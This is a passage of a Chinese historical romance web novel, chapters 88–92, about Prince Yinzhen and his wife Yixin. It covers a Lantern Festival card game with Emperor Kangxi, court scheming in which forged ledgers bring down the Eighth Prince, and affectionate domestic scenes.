“宫里元宵宫宴要做什么?”仪欣好奇问。 胤禛弯唇,故意说:“吃冷掉的膳食,听无聊的人说话,看千篇一律的戏折子,观赏不好看的宫灯。” “哦,那我在府中等王爷回来。”仪欣拱了拱他的颈窝,“快点回来。” 他们府上挂着几十盏漂亮宫灯,如紫檀木嵌玻璃的大吉葫芦式挂灯和红牛角双鱼瓶式挂灯,她还准备了亭台楼阁样式的冰灯,晚上便和王爷一同都放到花园的湖里。 “好,放心吧。”胤禛轻笑。 ....... 胤禛在府中看着仪欣喝药之后,孤身乘马车往宫里去。 宫宴依旧是申时三刻,因着赏宫灯,可能结束的会有点晚。 胤禛不打算应酬,只等康熙说完话,露个面便离开。 这是第一次,胤禛进宫晚了。 “四哥,你来了。”老十三坐在胤禛后面,笑着说,“今晚,弟弟带福晋和弯弯一起去逛灯会,您和四嫂,咱们一起吧。” 正月十五大于年,京城灯会极其热闹,赏花灯、猜灯谜、放烟花、社火表演,处处喜气洋洋的。 胤禛握着酒盏轻碰一下老十三的酒盏,“去不了,她身子不能折腾,你们玩吧。” 老十三遗憾点点头,转而又高兴些,平日里元宵都是他陪四哥过的,如今四哥不孤单就好。 “四嫂今日身子不适吗?”老十三看到胤禛身边是空的。 胤禛抿唇,轻笑一声,“她怠懒,不愿意来。” 老十三笑了,摆摆手,低声说:“四哥你别说,就这千篇一律的宫宴,我也不愿意来。” 完颜氏是个谨慎人,轻拽一下老十三衣袖,随之浅笑。 康熙正襟危坐,余光看见胤禛和老十三聊个不停,蹙了蹙眉头。 照例说些勉励朝臣,祈愿大清的话,康熙先饮下一杯酒。 歌舞起,皇子宫嫔纷纷敬酒,宴会上气氛和乐。 梁九功谨慎伏在康熙耳边,低声说:“万岁爷,都安排好了。” 康熙满意吹一下胡子,抬头再看鹤宣殿外的天色,抬了抬手腕,一掸明黄色龙袍便起身离开。 正月很冷,胤禛从苏培盛手中接过黑色狐裘,阔步离开鹤宣殿。 康熙离开,他也不愿在宫中多留。 “西洋宫灯准备好了吗?”胤禛问。 苏培盛哈腰,“王爷,准备好了,奴才见灯宴上还有琉璃花灯,也一并给福晋买了一盏。” 全府上下都门清,福晋高兴,王爷就高兴;若是福晋有个头疼脑热,王爷脸色比福晋还难看。 胤禛嗤笑,轻啧一声,“领赏去吧。” “欸!奴才谢王爷赏!”苏培盛乐颠颠的,小步跟着王爷往宫门走。 雍亲王府的马车宽大,骏马通体黝黑。 胤禛在离马车三步远处停住,抬手揉了揉眉心,心中叹口气。 解落大氅,登上马车,胤禛坐在马车门处,幽幽开口:“阿玛…您怎么在这?” 康熙一身布衣常服,翘着二郎腿,倚着马车壁,手边暗格翻开,显然是吃了仪欣给自家王爷带来的糕点了。 他冷冷一哼,“朕猜着你就要提前离席。” 胤禛笑一声,坦然还夸一句:“阿玛真是运筹帷幄。” 马蹄声哒哒响起,康熙宫宴上没用膳,百无聊赖捏着小点心送到口中,冷哼一声,“朕还不是怕你府上冷清,又眼巴巴上富察府过元宵,朕可丢不起那个人。” 这几日,马齐见他都春风得意的。 偏偏,这门婚事还是他压着马齐抢来的,他又不占理。 胤禛无奈笑笑。 第88章康熙微服私访 他什么时候说自己需要皇阿玛陪着过节了? 他去富察府过节,是为了热闹吗? 康熙将带着纸包的糕点扔给胤禛,推荐说:“这糕点真不错,你尝尝。” 胤禛:…… 他知道不错,不用尝了。 康熙上了年纪,最喜欢白龙鱼服出宫游玩,抽空问起仪欣,还悠哉悠哉问他们要不要一起逛灯会,得知仪欣冬日不出门,又遗憾叹口气。 胤禛好心建议,“阿玛,您极少出宫,若是今日想逛灯会,不用迁就儿子。” 康熙当即摆摆手,“不妨事,先陪你过节吧。” …… 刚黄昏,雍亲王府已经亮起来了。 从前的雍亲王府空旷肃穆,如同一幅古朴厚重的水墨画,如今的雍亲王府便是油彩画,有些杂乱无章炽热生动的美感。 仪欣正百无聊赖在花厅中看话本子,只等王爷回来便能用膳。 胤禛亲自打开花厅的门,仪欣欢喜起身,笑眯眯轻叹一声:“王爷你回来啦。” 下一秒,仪欣一副见鬼的样子,垂眸温顺跪下去,“皇阿玛万福金安。” “起来吧,”康熙笑呵呵抬抬手,大步进门坐到上首,好奇问,“你们府上元宵节有什么安排?” 胤禛将仪欣扶起来,捏了捏她的指腹,温声说:“阿玛陪咱们过节。” 仪欣不拘谨,过节喜欢热闹,当即随着胤禛改口,言笑晏晏介绍起来,“阿玛,我买了好多冰灯,一会儿可以一起放冰灯许愿,还可以打灯谜。” 她思量一下,又惊喜笑着说:“正好阿玛也在,也可以打马吊牌。” 胤禛拦了一下,没拦住,随即笑了,漆黑的眸子诚恳的看着康熙,还附和着点点头。 康熙沉了脸,威仪万千开口:“富察氏,你不知道朝廷的禁赌令吗?简直胡闹。” 仪欣一怔,刚刚不是还阿玛吗?这就朝廷了? 她傲娇抿唇,轻声嘀咕一句:“太子殿下劝说王爷打马吊牌的时候还说呢,规矩是约束下面人的,皇阿玛是皇帝,谁还能约束皇帝不成?” 胤禛将仪欣挡在身后,若有所指看一眼身后的人儿。 康熙听了前半句,面色又黑了,听到后面又缓和些面色,“太子向来胡闹。罢了,今日便玩一次吧,莫告诉别人。” “皇阿玛,万岁!”仪欣笑盈盈点头。 康熙笑呵呵捋了捋胡子。 梁九功面色古怪,隐晦看一眼四福晋,手在袖中竖了个大拇指,高啊,实在高啊。 晚膳过后,还是摆上了马吊牌。 本来马吊牌最好是四个人玩,但是,仪欣邀请梁九功一起上桌,梁九功差点没跪下。 于是,便三个人玩起来了。 康熙年轻时候什么都玩过,马吊牌自然不在话下,确定好自己出宫带了银两,倒是兴致勃勃大干一扬。 噼里啪啦的马吊牌声音。 绿蚁新焙酒,红泥小火炉,晚来天欲雪,能饮一杯无? 精美宫灯照得庭间宛如白昼,雍亲王府凡是棵树,都被仪欣指挥着挂上了花花绿绿的小灯笼。 花厅氛围很轻松,仪欣打牌是个半吊子,康熙对她没什么胜负欲,倒是较着劲让胤禛输大头,还吩咐梁九功温几壶酒来。 而胤禛,他只有在他想输的时候才会输。 不知怎得,仪欣今日不在意输赢,美滋滋磕着小坚果。 她一条腿挨着胤禛的腿时不时蹭蹭,每当这时,胤禛抬头看向她,总会对上她崇拜到亮晶晶的眼眸。 胤禛心软软的。 “胤禛,大顺。”康熙扔了牌,得意拍了拍胤禛的肩膀。 胤禛笑着给康熙倒酒,“阿玛,您是不是背着儿子在宫中练了?” “胡说。”康熙呵斥一句,让胤禛赶紧掏钱。 他禁赌,怎会在宫中涉赌,不过是天赋罢了。 仪欣握着小木耙,愿赌服输将银两推到康熙面前,惊叹夸赞说:“皇阿玛真厉害。” 康熙微扬下颚,舒缓靠着椅背。 胤禛漆黑的眸子慢悠悠剐蹭一下仪欣娇憨的脸,这个笨的,今日如此反常,胜负欲都不强了,银两输光都不曾委屈巴巴看向他。 一直玩了一个半时辰,梁九功再三提醒康熙要回宫了,康熙这才撂下牌,将杯中酒一饮而尽,红光满面起身,又看一眼胤禛身边的仪欣,骄傲的扬了扬下巴。 马齐的闺女,简直就是给他们爱新觉罗氏生的,真讨喜,跟胤禛就是般配。 “阿玛,您回宫路上慢些。”胤禛提醒。 仪欣跟着点点头,附和说,“恭送皇阿玛。” 康熙乐呵呵点头,摆摆手示意仪欣不要送。 康熙将带来的银两,连同赢到的银两,都扔在桌上没带走,心道,他只是陪着孩子们玩罢了,怎么会要他们的钱。 胤禛陪着康熙出门,亦步亦趋跟在他身后半步处,恭送康熙上了马车,在后门处伫立良久,直到马车看不见才转身回府。 … 仪欣已经梳洗完毕,盘着腿坐在美人榻上看话本子,抿着唇娇憨眯了眯眼。 她习惯了生病,今日病了,明日照常生龙活虎,不是什么大事。 抬头看见胤禛倚在门衔处,似笑非笑看着她。 仪欣起身想蹭过去抱住他的腰。 胤禛淡淡开口:“富察仪欣,站在那里。” 仪欣老实站着,仰头眼巴巴看着他,猫猫似的无辜极了。 胤禛本来还想审她一下,见她这样,实在没了别的想法,克制着不把人抱到怀里,装凶沉声开口:“别以为本王不知道,仪欣是故意拉着皇阿玛打马吊牌吧?” 就见仪欣的眼睛慢慢瞪圆了,紧接着就是小动作不断,好像很忙似的。 胤禛无奈。 仪欣讨好般猫猫狗狗凑到胤禛身边,一阵夸他好厉害,又暗戳戳打听,“王爷,你是怎么知道的呀?” 胤禛俯身将她抱到怀里,坐到美人榻上,轻声问:“仪欣先说。” 仪欣骄傲搂住他的胳膊,轻哼一声:“我怕有人抓着马吊牌的事弹劾你呗。” 那日一堆人都在,谁知道他们有什么小心思,反正,太子撺掇的,皇阿玛也玩了。 胤禛缓缓弯唇,隐晦亲了亲她的耳朵,闷闷开口,“本王哪里用你护着。” “就护着就护着!”仪欣骄矜重复。 胤禛故意逗她,慢悠悠叹口气:“仪欣什么时候变得这么聪明了?日后便全倚仗福晋了。 第89章话本子 仪欣今夜脑瓜格外灵光,就是听懂了他的揶揄,目光炯炯看着他,轻哼说:“王爷肯定是羡慕我聪明。” 胤禛手指敲击膝盖,闷闷笑慢悠悠轻叹,“嗯?你是怎么看出来的?” 仪欣炸毛,就知道他说的是反话。 她转过身便将他按到美人榻上,吭哧吭哧便去拉扯他的衣裳,非闹着要咬一口。 胤禛起身便能将她薅下去,却还是手臂揽紧仪欣,防止她掉下去,仰着头喉结滚动,笑着任由她咬。 “嘶——”胤禛拍一下仪欣的屁股,提醒说,“太疼,仪欣小口咬。” “哦,好。”仪欣抬起脑袋来听他说话,又低下去呜呜囔囔继续啃。 胤禛餍足眯着眼,不紧不慢喘着粗气,心道,肯定是属小狗的。 每次和康熙相处,胤禛总是有一种内心深处无法言说的倦怠感。 如果说,太子胤礽在康熙身上得到的是反复无常磋磨的疯批感,那么,胤禛得到的只有虚假伪装后的疲惫感。 太子胤礽好歹确实拥有过父子真情,胤禛则是……康熙可能利用胤禛平衡朝廷之余,有几分真正的心疼,只有他说的清了。 仪欣咬得消了气,胤禛已经硬/得不行了。 他温顺闭着眼,像是舒缓被顺毛后慵懒的大猫,面上不动声色,实则早已将人圈到领地里,气息轻吐,来回逡巡。 仪欣的腿蹭到那处,软乎乎的手下意识摸索着,被胤禛一把抓住手腕。 他佯装呵斥一声:“别乱动。” “王爷…你?”仪欣乌润润的眼睛看着他。 “本王怎么了?”胤禛若无其事含笑看着她。 仪欣磨磨蹭蹭低头埋在胤禛耳边,虽然寝殿没有旁人,说起私密话,她还是愿意在他耳边小声嘀咕。 胤禛额角突突跳,没办法再逗她,她丝毫不觉得自己说了什么勾人的话。 “乖,我不想。”胤禛咽了咽口水,把人抱到床榻上,严严实实塞到被衾里。 仪欣只露一双明亮狡黠的双眸,捂在被窝里轻哼一下:“你肯定想。” 她这么香,她不信他不喜欢。 胤禛单手解落腰带,无奈睨她一眼,她昨日还难受,他想什么想,等她什么时候完全活蹦乱跳…再说吧。 情/欲易忍,爱欲难填。 自从和她在一起,情/事上,胤禛只能称得上浅尝辄止,毕竟他是实打实禁欲二十几年。 只是他不着急,有时候只抱着她,就能缓解许多悸动。 他躺到床上,连人带被衾一个团抱着仪欣。 “王爷,你难受吗?”仪欣钻出来脑袋。 “不难受,睡觉。”胤禛哑声说。 “王爷,我今天也喜欢你。”仪欣轻声说,她在睡前总是习惯倾诉些什么,黏糊糊说些甜腻腻的话。 胤禛呼吸一轻。 当即将仪欣的被衾裹紧一些,喉咙里溢出极轻的一个“嗯”字。 胤禛随即开始无理取闹,恃宠而骄,吩咐说,“仪欣,给本王念话本子吧,背离骚也行。” 仪欣:…… 说“喜欢你”这三个字,难道就可以触发王爷想听离骚吗? “那我给王爷读话本子吧。”仪欣在床头摆着的一摞话本子里随意抽了一本,裹着被衾坐着,“王爷,你闭眼睛。” 胤禛睫毛轻颤,缓缓闭上眼睛,脑袋往仪欣的方向靠了靠。 仪欣圆滚滚的手指指着一行行字,认真读着,她读得很慢,有些地方有慢吞吞的停顿。 胤禛闭着眼,冷不丁出声提醒她,“凝若积雪,绵谷跨岭。” 仪欣软乎乎改正,“哦对,凝若积雪,绵谷跨岭…无一非梅者…” 读了一刻钟,胤禛坐起来给她递一杯温水,含笑亲了亲她的耳朵,“好了,喝了温水,睡觉。” 仪欣把话本子递给胤禛,咕咚咕咚喝掉温水,钻到被衾里打个哈欠,搂上胤禛的腰,“王爷,抱着睡。” “本王哪天晚上没抱着你睡呢?”胤禛无奈轻叹,真是黏人坏了。 晴云悄声将内室的烛火熄灭,缓缓退出寝殿合上房门。 * 冬日康熙上朝调整为逢五一朝,大多数时候御门听政,秋冬约辰时一刻上朝。 胤禛雷打不动提前一个时辰进宫,侍奉康熙用早膳。 御门听政后,太子沉默拉着胤禛到它户部办差的地方。 “太子殿下,”胤禛笑着给太子倒一杯茶,“有什么事吗?” 太子看了看胤禛办差的书房,坐到上首,咬牙冷哼一声:“老四,孤真是忍无可忍,老三跟孤打擂台,老八算个什么东西,被那群下五旗的奴才捧到天上下不来了吧?” 胤禛笑笑:“依臣弟看,您何须跟老八计较,他所求,不过是将老九捞出来罢了。” 太子冷笑,杏黄色蟒袍肆意垂落,说起老九他更是生气,老八如何敢惦记太子之位,不就是老九当老八的钱袋子给的底气吗? 养蜂夹道待了几个月就待不住了? 他圈禁毓庆宫时说什么了? “孤忍不了他们上蹿下跳的。”太子捻了捻拇指的扳指,“老九在养蜂夹道好好待着,孤就要让老三老八看看什么是正统储君。” 胤禛垂眸,抬眼后轻声说:“二哥,让臣弟想想。” 太子赞赏看他一眼,笑着说:“四弟,你放心,出什么事,孤在前面替你挡着。” 皇阿玛的暗探像是韭菜一样,割了一茬又一茬,他做事束手束脚。 他又实在不愿意徐徐图之,只想早点收拾那一帮上蹿下跳的兄弟。 派老四动手是最好的选择。 胤禛靠了靠椅背,换了个舒服的姿势,随意笑笑,“臣弟自是放心。” 太子了却一桩心头事,倒是有心思陪胤禛闲聊,耿介疏狂自顾自斟一杯茶,轻啧一声:“你给孤举荐的那个年羹尧是个人才。” 胤禛点点头,“确实,称得上文武双全了。” “就是他那个妹妹,弘皙说美则美矣,就是阴冷些。”太子庆幸自己没纳,笑着说,“他还是少年心气,后宅里养个女人而已。” “嗯。”胤禛惜字如金附和一句,四两拨千斤说,“就是可惜了乌拉那拉氏。” 第90章让他赔 弘皙如今后院鸡飞狗跳的事不是什么秘密。 乌拉那拉氏和年氏同时入府,才五日,闹得动静就惊天动地的。 一个身份尊贵的蒙古福晋压在上面,一个青梅竹马贬妻为妾的侧福晋,还有颇为嚣张跋扈脾气古怪的年氏。 弘皙自然更喜爱乌拉那拉氏,又因贬妻为妾之事常觉亏欠,故而处处偏宠。 跟年枝没什么感情,年枝又明艳漂亮,但谁知…脾气冷得吓人。 圆房那晚闹了很大的不愉快,好似是没有成功,转而对太子闹着要休了年氏。 太子听到胤禛的话,冷了神色,若不是皇阿玛给弘皙塞个蒙古福晋,贬妻为妾,弘皙后院会这般乱套吗? 皇阿玛和皇玛法均不喜蒙古福晋,塞给弘皙算什么意思? 不过是见不得他好罢了。 太子轻笑:“皇阿玛自有他的精明,就是不知是不是精明过了头,平白辱了圣明。” 胤禛闻言也不大惊失色,也没有坐立不安,反倒是笑着一转话锋,“弘皙还年轻,后宅之事,哪有定数呢?” 太子缓缓弯唇看向胤禛,哈哈大笑起来。 … 胤禛用过晚膳后当即到了书房,召谋臣议事。 邬思道微微皱眉,劝阻一句:“王爷,此时绝不是动八爷的大好时机。” 八爷和三爷联手,和太子斗得有来有回,若是擅自打破平衡,难免伤了雍亲王府的利益。 王爷没必要过早掺和进去。 胤禛捻着佛珠,一只手拄着头,神色冷峻,略带绝情扯了扯唇,残忍又无辜地说:“太子是君,太子殿下容不得老八,本王也没办法。” 邬思道又劝,“太子殿下那边,找个由头搪塞过去即可,只说能力有限都能交差。” 胤禛慢慢抬眼。 邬思道噤声,众谋臣亦止住附和声。 只见胤禛一身玄色蟒袍,金黄色腰带勾勒遒劲腰肢,腰带上镶嵌着十颗东珠,用金镶玉和金衔玉的方形带版,他面容冷峻,清贵淡漠,纵使面无表情,也让人无端察觉到他有些不耐烦了。 “夏刈。”胤禛沉声吩咐,“老九的财产充公,数目似乎不太对,想来是五成到了老八手里,最迟后日,本王要看见清晰的账目。” 拇指上微凉的扳指挨着太阳穴,胤禛思忖一秒,缓缓勾了勾唇角,“那就…约莫三百九十万两白银吧,本王要派人弹劾胤禩…” “让、他、赔。” 邬思道张了张口,大梦初醒般环顾四周,发现周围同僚也尽是错愕到一言难尽的表情。 那笔银两在哪里,在坐的人都门清。 王爷,八爷是刨您家祖坟了吗? 八爷就算去刨绝户坟,踹寡妇门积攒的报应,也不至于四爷这般心狠手辣吧? 您这是要整死他。 众人这才缓过神来,这哪里是太子要动八爷,明明就是王爷亲自抽剑,太子只是撞上来的借口罢了。 夏刈只忠诚胤禛,当即抱拳拱手,弯腰行礼,“奴才定是不负王爷所托。” 老九是老八的钱袋子,给老八送的银两账册十分详尽,那笔银两找到他的归处,过了明路,便不会如刀剑一般悬在雍亲王府头上。 胤禛抬腕,示意夏刈坐下,唇角抿平,温声说:“有一事,本王拿不准主意,还望先生们指点。” 众谋士当即诚惶诚恐道,不敢。 胤禛目视前方,缓缓开口,“本王欲借此事,奏请皇阿玛严惩朝廷贪官污吏。” 老九巨额私产,仅靠与民争利开商铺怎么能做到。 他可谓是无所不用其极,以皇子之名参与走私,老八一党中的许多官员,定期向九阿哥进贡,而这些财富大多被九阿哥独自收受。 康熙并非一无所知,只不过,皇家名声不可玷污,便是将老九囚禁养蜂夹道,也是落下轻飘飘的一个“与民争利”的罪名。 邬思道蹭得站起来,大喝一声,“王爷不可。” 胤禛谦和笑了笑,不复刚刚惩治老八的强硬态度,温声说,“先生请讲。” 邬思道也不藏着掖着,直言道:“王爷,如今贪官污吏之风盛行,万岁爷并非一无所知,只是近些年万岁爷为政怀柔,恐不会严加惩戒。” “王爷羽翼虽丰,却仍需韬光隐晦以谋来日,此番行事,实是动了太多朝臣重臣的利益,万万不可。” 众谋士亦是起身,朗声附和:“王爷万万不可。” 胤禛眸色漆黑,面无表情时令人琢磨不透。 “皇阿玛降低赋税,藏税于民,可是民脂民膏都被那群朝廷蛀虫一层层剥去。” “国库空虚,臣民惶恐,本王…”胤禛一顿,随即沉默一下,缓缓开口,“便依先生们吧。” 邬思道拱手,“王爷心怀天下,奴才拜服,只是…如今这朝廷总归…” 总归不是王爷说了算。 这等断尾舍命的动作,王爷极易被万岁爷喂给群臣出气。 不可。 胤禛给邬思道一个安抚的眼神,环顾冷肃带些阴寒的书房,微微弯了弯唇,反而安慰道,“放心,孰是孰非,是进是退,本王心中有数。” 阿玛,这烂糟的朝廷,儿子看不过眼了。 胤禛心中又涨起苦笑。 苏培盛隔着书房门禀告一声:“王爷,福晋来了。” 胤禛不安乐皱眉,夜晚寒冷,怎得又来了?他又不是不认识回正院的路。 众谋士乐呵呵起身,赶紧告辞,“王爷,奴才告退。” 仪欣裹着斗篷,周身严严实实的只露一双眼睛,晴云在身侧为她提着小橘灯,恰巧撞上告辞离去的谋士们。 “奴才给福晋请安。” 仪欣落落大方点点头,抬腕示意他们免礼,温声说,“夜深露重,诸位先生辛苦了。” 邬思道等人受宠若惊,再三拱手,告退。 胤禛沉着脸大步走出来。 仪欣还未来得及欣赏他玄色的蟒袍和漂亮的脸,转而被一件大氅盖住了眼睛,下一秒裹得严严实实的。 “唔…王爷…我看不见了…”仪欣挣扎一下,想将脑袋露出来。 未果。 胤禛将人打横抱起,带到了书房,沉声吩咐,“苏培盛,煮一碗姜汤,再熬一碗驱寒的汤药。” “欸!”苏培盛赶紧去,圆滑琢磨着福晋还需要些什么。 仪欣倏地将胤禛的狐裘大氅扯下来,坐在胤禛的椅子上,娇声蹙眉,“哪有这么娇气?我每次来接王爷,裹得都可严实了,打了这么多次照面,你的谋士都没看到过我的脸。” 第91章王爷看起来很好养活的样子 苏培盛端着一碗驱寒汤药和一碗姜汤,毕恭毕敬且妥善放在桌案上,思忖圆滑看向胤禛,开口,“王爷,福晋的药来了。” 胤禛温声说:“先喝药,再喝姜汤。” 仪欣抬眼看他一眼,装听不见。 谁深更半夜想灌两碗水呢,她来书房还给他带了小肉丸汤,喝完面前这两碗,她就什么都吃不下了。 胤禛上前摸了摸她的额头,俯身蜻蜓点水亲一下,随即起身眯眼唤一句,“富察仪欣…听话。” 仪欣心头一紧,心里傲娇挣扎一下,转而老老实实将两碗全都喝光,胤禛弯了弯唇,塞到她嘴里一颗蜜饯。 “我喝都喝饱了,还怎么吃小肉丸汤?”仪欣瞅他一眼,朝晴云骄矜挥了挥手。 胤禛这才注意到仪欣带来的食盒,里面有一盅肉丸汤,还有两个清淡小菜,以及一碟梅花糕。 “原来是过来送点心的,既然是给本王送的,那你别吃了。” 胤禛自己扯了一把椅子坐在仪欣身边,将她带来的膳食摆在桌案上。 她晚膳用得不算少,总爱半夜吃小点心的习惯也该改改。 “那王爷吃吧。” 仪欣脑袋靠在胤禛的左肩膀上,百无聊赖揉捏着肚子,微微仰头看到胤禛用膳的侧脸。 他好像做什么事都格外专注,练字专注,读话本子也专注,用膳也专注。 好似他专注做一件事的时候,总能给人很安稳的感觉,让人觉得他想做的事都能做到。 胤禛一边慢条斯理吃饭,一边叮嘱她晚上冷,不要来接他了。 他如今没有必要的事情,一般不在晚上议事,主要也是想着已经成家,一群男人商议政事总会忘记时辰,甚至吵吵闹闹跟城南菜市扬一般,不能让她等着。 “主要是王爷今晚没吃几口,总怕你又在前院待到半夜,还饿肚子。”仪欣解释一句。 胤禛一愣,看她眉眼弯弯,慵懒放松的靠在自己肩膀上,他不禁眸色温柔,继续埋头认真用膳,半晌轻声说:“家有贤妻。” 成亲真好。 仪欣动动脑袋,应和他的话。 对啊对啊,王爷真有福气。 胤禛不挑食,对于膳食方面并不讲究,将仪欣带来的燕窝肥鸭丝和蟹肉双笋丝吃光,喂了仪欣一个小肉丸,剩下的汤和肉丸吃得一干二净。 梅花糕很精致,入口便是稍微软糯的口感,回味才有淡淡的梅花香,胤禛不喜食糕点,还好梅花糕并不算甜腻,索性也一并吃完。 仪欣骄矜看着胤禛用膳,乌润润的眼睛总是带着亮晶晶的明媚娇憨,目光随之看向一扫而空的膳食。 她心里喜滋滋感慨,王爷看上去就是很好养活的样子,可真不错。 胤禛撂下玉箸,接过苏培盛呈上来的漱口茶。 苏培盛带着两个小厮,将书房收拾整齐。 “今日事,今日毕。”胤禛抱着仪欣,轻声商量,“本王这里还有一点政事,看完便一起去睡觉,可以吗?” “可以!” 仪欣坐直身子,在书架找到一本相对不太晦涩的策论,坐回胤禛身边认真看书。 胤禛弯唇看她一眼,转而专注手头上的政务。 月色朦胧,书房内银丝炭暖炉温暖和煦,这个冬日似乎格外短暂和温暖。 仪欣实在高估自己,她真的一看字就困,尤其是王爷书房中的书籍都晦涩难懂,她囫囵吞枣读着,轻轻打个哈欠。 她穿得暖和,捋了捋衣袖胳膊充当枕头,眯着眼看向胤禛,没一会儿便把自己哄睡着了。 胤禛无奈看她一眼,忍俊不禁,没出息的,一手扶着书,一手指着字念书,只是看起来很像回事。 不到半个时辰,胤禛将仪欣打横抱起,往书房内室走去。 仪欣懵懵然醒来,感觉自己飘在云朵上,下意识嘟囔一句:“王爷,天亮了吗?” “亮个大头鬼。闭眼睛,继续睡觉。”胤禛轻笑,把人轻放到床榻上。 “哦…王爷早点睡…”仪欣抱过来被衾翻个身。 胤禛睨她一眼,心中冷哼一声,用温热的帕子替她擦了擦脸,熟练替她换了寝衣。 跟小猪似的,睡得又香,没心没肺的,还挺可爱。 * 胤禛这些年养精蓄锐,手底下的人有几分能力。 他是极其敏锐的政治生物,平日里不动声色,若是动手便不屑小打小闹,而是紧盯猎物伺机将那人扑得翻不了身。 不见血,不收手。 弹劾老八的折子满天飞时,胤禛和太子正在康熙的乾清宫坐着喝茶。 康熙看着书房内跪着的老八和老十,还有朝臣,他心里清楚这都是老八一党,或许还有和老三颇为亲近的汉臣。 他的目光又看向右手边风轻云淡品茶的太子和胤禛,心里百感交集。 胤禛无辜抬头看向康熙。 康熙霎时眸色幽深,回过神来,抄起茶盏砸向老八胤禩。 “皇八子胤禩,下贱无耻,系辛者库贱妇所生,自幼心高阴险,如何胆大包天,竟敢盗四百万两白银纳入私库,实为不端之徒。” 人们总是表达感情很含蓄,但在说伤人的话时一针见血。 爱如鲠在喉,恨脱口而出。 胤禩低头沉默,肩头被茶渍浸染,湿了一大片,茶叶狼狈残留在衣裳上。 “儿臣不曾动过九弟的银两。” 谁能告诉他,他什么时候将老九抄家私产昧下一半? 银两在哪? 嗯? 老十皱着眉头,呛声说一句:“皇阿玛,您总要给八哥一个解释的机会,八哥有盗银两的能力,将九哥捞出来不就得了,犯得上吗?” 太子和胤禛见康熙动了怒气扔茶盏,不紧不慢交换一个眼神,装模作样折膝跪下,齐声道,“皇阿玛息怒。” 书房里的朝臣也齐声说:“皇上息怒。” 康熙冷笑,翻了翻呈上来的账册,将弹劾老八的奏折和账册一齐扔到老八胤禩面前,“你自己看。” 老八胤禩比任何人都想看那账册,无中生有的东西,怎么可能给他定了罪。 第92章222222两 那银两,哪有啊?他没碰一两。 怎么可能有账册? 他垂着头恭敬翻看账册,眉头渐渐拧紧,越看越错愕。 头低得更低,心跳得发紧,险些维持不了儒雅温和的神色。 这账册确实并非记载那四百万两银子的事。 反而是他这两年间借老九之手收受贿赂,结党营私的账目。 只不过,改了时间,是假账。 谁在算计他? 谁? 那人肯定手握真正的账目。 若是他不认下那四百万两白银,若是幕后之人再步步紧逼,那贪污受贿,结党营私的罪名,便会接踵而至。 胤禩闭了闭眼,垂首轻声开口,“儿臣贪恋钱财,辜负皇阿玛苦心教导,儿臣…知错…” 只认贪财,不提贪权,总归要好过一些… … 春意楼。 “皇阿玛只是暂停他的差事,让他补齐三百九十万两白银,真是便宜了老八。”太子大悦,想到老八颓丧失势便觉得心旷神怡。 太子好奇问:“你说,他能拿出来这么多银两吗?” 胤禛笑了笑,他就是本着老八私产数目做得假账,老八当然可以拿出来,只不过倾家荡产罢了。 “臣弟也不清楚。” “管他呢,来,四弟,孤敬你一杯。” 太子自顾自斟一杯酒,一饮而尽。 不过一旬,便快刀斩乱麻处理了老八,老三不过是跟汉臣装模作样的酸儒,登不得大雅之堂。 太子处事大方,只是偶尔没什么章法,狂狷邪肆些。 他自顾自连饮三杯,觉得胸中血气混杂着愉悦和磋磨感,迟迟退不下去,故而提起酒壶,斜倚在包厢软榻上,仰头直饮。 胤禛见状劝一句:“太子殿下,酒多伤身。” 太子抬腕指了指胤禛,轻声说:“老四,陪着孤喝。” 胤禛状似无奈,举杯示意,“臣弟敬二哥。” 太子哈哈大笑,继续咕咚咕咚畅饮,喉结滚动,眯着丹凤眼挥挥手示意贴身太监。 太子的贴身太监将两个镶嵌红宝石的楠木捧盒恭敬放在胤禛面前,弯着腰妥善打开。 一个捧盒内满是银票,少说也有十几万两。 另一个捧盒内是极品东珠,珠体圆润硕大,光泽温润,一眼便是只有太后皇后和皇帝才能佩戴的珍品。 “老四,孤没有什么好东西,如今只能赠你些许身外之物了。”太子薄醉,看着那满满一盒东珠,讽刺勾唇。 胤禛叹口气,蹙眉看向太子,半晌对苏培盛道,“收下。” 晚些太子又要拉着胤禛去别院玩些有意思的,太子醉得不轻,本想借酒庆功,喝的越多,反倒越有些借酒消愁的意味。 胤禛对他别院的事不感兴趣。 太子早就确定康熙会对自己的某些事睁一只眼闭一只眼,肆无忌惮起来。 胤禛只想回府,将太子送到别院,转身离开。 入夜。 仪欣目瞪口呆看着面前一大摞银票,检查一下都是真的,咽了咽口水。 “王爷,你…你做得是正经营生吗?” 胤禛一噎,倚着门框看她财迷又不敢拿银票的样子,“怎么?不是正经营生能怎么办?本王还能把自己卖了给你赚银子?” 仪欣又翻了翻银票,小声嘀咕:“卖了王爷不一定值这么多钱。” “富察仪欣…”胤禛危险唤一句,嘴甜也是她,小嘴叭叭气人也是她。 仪欣喜滋滋改口:“估计卖了我和王爷,就值这么多钱啦。” 胤禛轻笑一下,小狗腿子。 “王爷…你不会贪污受贿吧?”仪欣自以为高明地试探一句。 隔三差五这么大笔银票,谁受得了? 她从前没什么金钱观念,如今却也是操持后宅,掌管中馈的。 五十两面额的银票一捆捆摞满一个捧盒,她都没见过这么摆银票的。 胤禛温柔弯了弯唇,看向她青涩懵懂的眼睛,轻声说:“本王不贪污受贿,安心拿着吧。” 仪欣闻言,欢喜得当即开始数清点银票,招呼胤禛说:“王爷陪我一块数。” “哦。”胤禛应一声,陪她盘腿坐到软榻上,揽住她的腰,看着她粉润的指尖缓慢轻捻过银票。 数了三遍。 没数对过一次。 三遍都不一样。 她真有耐心。 胤禛沉默看着,把人往怀里紧了紧。 “王爷…二十二万两千…吗?” “富察仪欣,你不识数吗?”胤禛偏头,忍俊不禁抵着她聪明的大脑瓜。 “我肯定识数啊,额娘都夸我算账快。”仪欣赶紧反驳。 主要是没数过这么多银票,又是一捆捆的,又是五十两还有混着一点十两五两的,她数错就是非常正常啊。 眼看着她要数第四遍,胤禛关上捧盒,把人薅到床榻上,含笑说:“二十二万两千二百二十二两。” “哇——”仪欣星星眼看向胤禛,跨坐在他身上亲他的唇角,“王爷,你就是最厉害的,话说,我刚刚第二遍是不是就说的这个数?” 胤禛沉默捏住她的脖颈,干笑两声,“哦,那把二十万抹掉的,应该是另有其人吧。” 见过抹零头的。 仪欣懊恼想起来了,讪笑蹭蹭他,默念,另有其人,另有其人。 “王爷,我都困了。”仪欣装模作样打个哈欠,脑袋枕在胤禛膝头。 胤禛垂眸看她,勾了勾唇,“好呀,睡觉。” 苏培盛进来将银票收好,准备过会儿交给晴空姑娘,晴云悄声熄灭两盏烛火,妥善落下床幔。 